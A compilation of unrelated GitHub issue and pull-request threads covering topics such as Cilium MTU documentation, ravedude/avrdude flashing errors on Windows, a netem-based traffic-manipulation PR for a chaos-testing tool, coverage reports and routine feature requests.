This one is interesting. The platform already has internal APIs to listen for Global Settings changes. However, there is nothing for App specific settings. We will need to add support internally in the platform for individual app settings. For downlevel OS's, it is conceivable that our API implementation simply polls user settings when an internal API isn't available for us to use.
Just some thoughts.

Thanks Felix for suggesting this! We're tracking this feature request on our feature portal / roadmap, it's currently in our backlog but hopefully we can consider it at some point!
I already added your feedback and vote to this feature, but others interested in this can vote on the link above if you need this for your app! Closing this issue as we're tracking far-out feature requests (and developer interest) in the productboard portal.


Add AUTO INCREMENT support for SQLite

Update createAutoIncrement to meet required signature definition.

Codecov Report

Merging #51 into master will not change coverage.
The diff coverage is 100%.

@@           Coverage Diff           @@
##           master      #51   +/-   ##
=======================================
  Coverage   74.65%   74.65%
=======================================
  Files           3        3
  Lines         513      513
=======================================
  Hits          383      383
  Misses        130      130

Flag
Coverage Δ

#SwiftKueryPostgreSQL
74.65% <100%> (ø)
:arrow_up:

Impacted Files
Coverage Δ

...es/SwiftKueryPostgreSQL/PostgreSQLConnection.swift
64.59% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 337499d...9de1bb1. Read the comment docs.


npm release?

Is it possible to update the npm release?  The current version is unusable without #75

please release new version @c-trimm - can you give me collab access maybe?  I can help maintain here and on NPM.

@c-trimm Possible to add additional maintainers to this repo?


Subtitle is using camelCase as subTitle in Messages created on portal

related to https://github.com/cph-cachet/carp-portal/issues/23

not needed


SP: sunnylink

This commit introduces Sunnylink support, including modules for API interactions, device registration, logging, and uploader processes. Key changes involve adding Sunnylink-related components, such as sunnylinkd, manage_sunnylinkd, and associated utilities, along with seamless integration into process management.
Summary by Sourcery
Add support for Sunnylink.
New Features:

Introduce Sunnylink support, including API interactions, device registration, and upload processes.

Tests:

Update tests to accommodate Sunnylink integration.

@sorcery-ai review

@sourcery-ai review

@sourcery-ai review

review again

https://github.com/sourcery-ai review

@sourcery-ai review

@sourcery-ai title

@sourcery-ai review


Add snippet(s) for creating custom validators

Having snippets for creating custom validator functions and classes would be very useful.

please make a suggestion and example


Add 'JavaScript with JSX' as a default Grammar

This would be nice to have

Added with 78d8a95, couldn't automerge


Scene change: avoid infinite loop if resource is not found. Add a graphic warning and a fallback value

https://user-images.githubusercontent.com/6860637/119193456-ed512e00-ba81-11eb-9128-c589bbc14077.mp4

Closed by https://github.com/crystal-bit/godot-game-template/commit/c8de568199efac97a8b83a1627bc087469c2cdae


Update AUTHORS with recent contributors

No issue associated with this PR.

Thank you, @wesleimp !
Merging.


[Gally]: master <- dev

Automatically created by Git-Ally

:tada: This PR is included in version 1.10.40 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Title case challenge: Output is correct but user case stil show red

Challenge Title Case a Sentence has an issue.
User Agent is: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36.
Please describe how to reproduce this issue, and include links to screenshots if possible.
My code:
function titleCase(str) {
str=str.toLowerCase().replace(/\b\w/gi,function(val){
return val.toUpperCase();
}
);
return str;
}
titleCase("john buLL mY sOn");

With your code:

titleCase("I'm a little tea pot");

returns:

I'M A Little Tea Pot

Please get in touch with the JavaScript Chat Room for futher assistance.


Docs: Document process for determining correct MTU

When developing applications, users may use the MTU inside a pod to understand how to segment their packet payloads. This is especially relevant for UDP-based traffic which relies on IP fragmentation to split up payloads that are larger than the configured network's MTU. However, the process for determining the correct MTU to use depends on Cilium's configuration. For example, if Cilium is configured with tunneling mode the interface's MTU can be used, however when Cilium is configured via WireGuard, the route MTU must be used:
 printmtu-4  ~  ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet <IP_ADDRESS>/8 scope host lo
       valid_lft forever preferred_lft forever
31: eth0@if32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1460 qdisc noqueue state UP group default qlen 1000
    link/ether 36:e9:a6:71:70:9e brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet <IP_ADDRESS>/32 scope global eth0
       valid_lft forever preferred_lft forever

 printmtu-4  ~  ip r
default via <IP_ADDRESS> dev eth0 mtu 1380
<IP_ADDRESS> dev eth0 scope link

We should document the correct way to determine the MTU to use based on Cilium's configuration to make it easier for users.

Cilium should auto-detect and apply the appropriate MTU on the routes inside the Pods already. The user can override globally the MTU they expect, and Cilium will propagate that value + adjust for tunnel overhead etc. If there's a particular scenario (eg particular combination of features) where some overhead is added to a range of packets and Cilium is not properly calculating/applying the MTU, that could be a bug.
Searching for "MTU" in the issues brings up some known issues like https://github.com/cilium/cilium/issues/22294 in that category.
There's also an extended discussion on the Cilium MTU model here: https://github.com/cilium/cilium/issues/14339, plus a dormant CFP here: https://docs.google.com/document/d/1GLYB5-DnQmz63AiqYHubRScE9xrzAiH4XAN38LWeLUI/edit#heading=h.5mwz58y9syps

Ah sorry I wasn't clear on the use case. My thinking was if someone was writing a program based on UDP and wanted to adjust their payload size to help avoid fragmentation. I definitely agree that Cilium takes care of setting the MTU for users, I'm just thinking about how users should determine the MTU that Cilium sets.

Oh I see. Cilium expects MTU to be configured on the route inside the Pod. So applications could either autodetect via a netlink route lookup in the kernel, or just have a flag to configure MTU.

Ah got it that makes sense. To confirm, this means that applications should not use the MTU of the primary interface in a Pod, they need to use the route?


✨ Add e2e test spec to upgrade or reinstall a Helm chart on a Cluster

What this PR does / why we need it: Adds an additional spec to update a HelmChartProxy and verify that the revision and values have successfully changed.
Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #172

/assign @mboersma

/hold
While waiting for tests to pass

/hold cancel


⚠ gorzdrav.org has degraded performance

In 6d4f5aa, gorzdrav.org (https://gorzdrav.org) experienced degraded performance:

HTTP code: 200
Response time: 1735 ms

Resolved: gorzdrav.org performance has improved in 306c3c1.


Ravedude not working on Windows (10)

Running ravedude like this on Windows 10
[target.'cfg(target_arch = "avr")']
runner = "ravedude uno --open-console --baudrate 57600"

produces this error:
Programming target\avr-atmega328p\debug\arduino.elf => COM4
avrdude: invalid file format 'e' in update specifier
avrdude: error parsing update operation 'flash:w:target\avr-atmega328p\debug\arduino.elf:e'
Error: avrdude failed
error: process didn't exit successfully: `ravedude uno --open-console --baudrate 57600 target\avr-atmega328p\debug\arduino.elf` (exit code: 1)

It complains about :e specifier being wrong and that's exactly what I observed when I tried to flash manually on windows.

Thanks!  Can you quickly check which version of avrdude you have installed?

$ ravedude -V
ravedude v0.1.2 (no git)

right, but I was looking for the avrdude version, not ravedude ;)  Try
$ avrdude -?

the version will be shown at the very end of the help output.

Oof still version 5.10... with 6.3 it works...

I'm still experiencing "performance issues" with the serial console though...
It should normally output a message with ufmt every 250ms. On my Linux WSL with a screen  it runs  really smooth, but the console created by ravedude always outputs the messages in batches of like 3-5 messages instead of one-by-one.
When I open the connection manually:
function read-com {
    $port= new-Object System.IO.Ports.SerialPort COM3,57600,None,8,one
    $port.Open()
    do {
        $line = $port.ReadLine()
        Write-Host $line # Do stuff here
    }
    while ($port.IsOpen)
}

I get a steady flow.

On Mon, Apr 12, 2021 at 11:27:38AM -0700, Sebastian Klähn wrote:

experiencing "performance issues" with the serial console

Please in a fresh issue ...

Please in a fresh issue ...

No need to.

Oof still version 5.10... with 6.3 it works...

I see.  The question is, if lot's of people still use 5.10 we should support it as well.  Where did you get this older version?

I'm still experiencing "performance issues" with the serial console though...

Hm, this looks like a buffering issue.  But we're actually flushing stdout whenever a new message arrives:
https://github.com/Rahix/avr-hal/blob/9e3848f13b7ef3b03617545c959ad476e454a76a/ravedude/src/console.rs#L20-L21
Maybe you can play around with that code a bit to check what is going on?  I don't have a windows on hand so I cannot test this...
You can test just the serial console (without flashing a binary) by calling:
$ ravedude uno -cb 57600

(without a path to a binary).

(or test directly from the ravedude/ directory with cargo run -- -cb 57600)

Maybe try removing this line and see if it changes anything:
https://github.com/Rahix/avr-hal/blob/9e3848f13b7ef3b03617545c959ad476e454a76a/ravedude/src/console.rs#L7

Oof still version 5.10... with 6.3 it works...

hi all, I'm in the same situation and I fall in the same mistake. Is it possible to cite in the documentation that at least avrdude => 6.3 has to be used or something like "tested with avrdude 6.3" ?

On Tue, Sep 07, 2021 at 09:07:21AM -0700, Michele wrote:

that at least avrdude => 6.3 has to be used or something like "tested with avrdude 6.3" ?

Thank you for https://github.com/Rahix/avr-hal/pull/218.patch

I think over time all the problems from this issue got resolved.  So I will close it for now, even though I don't know for sure what the status is.  If anyone is still experiencing issues, we can reopen the topic again.


Add Support for Crunchy PostgreSQL Service, Implement Ingress Traffic Manipulation, add Rate Limiting via Netem, Option to use containerd instead of runc

Crunchy PostgreSQL Service has services that follow the pattern of postgresql-11-odb.  Seems like a reasonable assumption that the needed values in the services yaml will be the same across the versions, so chose to cover all postgresql-\d+-odb with a single pattern.
The approach for implementing ingress traffic manipulation was almost entirely copied from here:
https://wiki.linuxfoundation.org/networking/netem#how_can_i_use_netem_on_incoming_traffic
The only notes with that are:

One of the setup commands is sudo modprobe ifb ... leaving this module loaded seems relatively harmless compared to unloading it in the case that we were not the ones who loaded it (as in, someone/thing else is depending on it being loaded) so I opted to leave it loaded rather than try to undo that during the unmanipulate_traffic method.
Same deal as the above when it comes to the ifb0 interface being up. harmless to leave up, but harmful to take down if someone else is depending on it.

TBH, I am open to disagreement on these two points though.

Finally, I also added rate limiting via netem to the manipulate_traffic method. This should be nice since it says that the shape traffic can not happen at the same time as manipulate_traffic but this will allow the insertion of throughput limiting alongside other traffic manipulations like latency, loss, etc.
Based on the PCF release notes here: https://docs.pivotal.io/pivotalcf/2-6/pcf-release-notes/runtime-rn.html ... in newer releases, containerd is used instead of runc. I added the ability to use containerd to get a shell / execute commands on a container which can be enabled via a use-containerd entry in the config. this is disabled by default so will not effect behavior unless you choose to.

@karunchennuri let me know what you think of all of this. slightly more involved than the previous PRs, but I believe in all cases backwards compatibility is preserved and the tool is improved some.


Buttons component

Describe the feature you would like to request
Create button component
Provide a brief explanation of why this feature is necessary
For user to click on for actions
Provide an estimation of how long the developers should spend on implementing this feature
2
References
Include any URLs, screenshots, or source code that would be helpful as reference or inspiration towards implementing the feature.

completed as part of https://github.com/keypom/keypom-airfoil/pull/4


Update analytical dashboard pattern

Need to revist the images on the page, still has issues with the UI jumping when toggled.